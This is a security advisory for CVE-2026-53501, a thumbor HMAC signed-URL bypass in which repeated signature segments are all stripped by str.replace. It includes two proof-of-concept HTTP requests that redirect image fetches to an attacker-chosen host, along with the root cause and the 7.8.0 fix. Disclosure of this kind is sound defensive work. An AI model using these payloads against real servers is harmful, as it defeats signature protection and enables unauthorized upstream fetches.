high · 8.2CVE-2026-53501Jul 31, 2026

CVE-2026-53501: thumbor HMAC Signature Validation Bypass via Repeated URL Segments

Rohit Hatagale
AI Security Researcher, SecureLayer7

Thumbor's signed-URL protection can be completely bypassed by embedding extra copies of a valid HMAC signature inside the image path, tricking the server into validating a different URL than the one…

Packagethumbor
Ecosystempip
Affected<= 7.7.7
Fixed in7.8.0
CVE-2026-53501: thumbor HMAC Signature Validation Bypass via Repeated URL Segments

The problem

Thumbor validates signed image URLs by stripping the HMAC-SHA1 signature from the request path before recomputing the MAC. It does this with Python's .replace(), which removes every occurrence of the target substring, not just the first.

Because the signature is itself embedded in the URL path, an attacker who holds any one valid signature can insert extra copies of it elsewhere in the path. After .replace() eliminates all occurrences, the string passed to signer.validate() is shorter and structurally different from the URL thumbor will actually fetch.

The attacker can use this delta to point thumbor at an arbitrary upstream host or path while the HMAC check still passes.

Proof of concept

A working proof-of-concept for CVE-2026-53501 in thumbor, with the exact payload below.

http
# Suppose you have one legitimately-signed URL:
# /ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/v1/path/image.jpg
#
# Re-use that valid hash to reach an unintended host:
GET /ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.co/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/m/v1/path/image.jpg HTTP/1.1
Host: thumbor.example.com

# After .replace() removes BOTH occurrences of /ddoyYVYUbDf6Po_dzOrBhCDrXLc=/,
# url_to_validate becomes: /300x200/s3.glbimg.com/v1/path/image.jpg  (matches original HMAC)
# but thumbor fetches:     s3.glbimg.co/m/v1/path/image.jpg          (attacker-controlled host)

# URL-encoded variant (exploits the second .replace() for %3D):
GET /ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/ddoyYVYUbDf6Po/ddoyYVYUbDf6Po_dzOrBhCDrXLc%3D/ddoyYVYUbDf6Po/v1/path/image.jpg HTTP/1.1
Host: thumbor.example.com

The root cause is in thumbor/handlers/imaging.py. The vulnerable code calls url.replace(f"/{hash}/", "") and then a second url.replace(f"/{quoted_hash}/", "") with no count limit. Python's str.replace is a global substitution, so any attacker-injected copies of the hash token are silently removed alongside the real one, producing a url_to_validate that does not match the URL thumbor will load.

The fix (commit e3ae3e2500537b4d735df4144129a649374bb70b, released in 7.8.0) passes 1 as the third argument to str.replace, making it remove only the first occurrence: url.replace(f"/{hash}/", "", 1). This is CWE-347 (Improper Verification of Cryptographic Signature) because the validated string and the executed string diverge.

The fix

Upgrade thumbor to 7.8.0 or later. The patch changes both .replace() calls in the signature-stripping logic to pass a count of 1, ensuring only the leading signature segment is removed and the remainder of the path is validated exactly as fetched.

Reporter not attributed.

References: [1][2][3][4]

Related research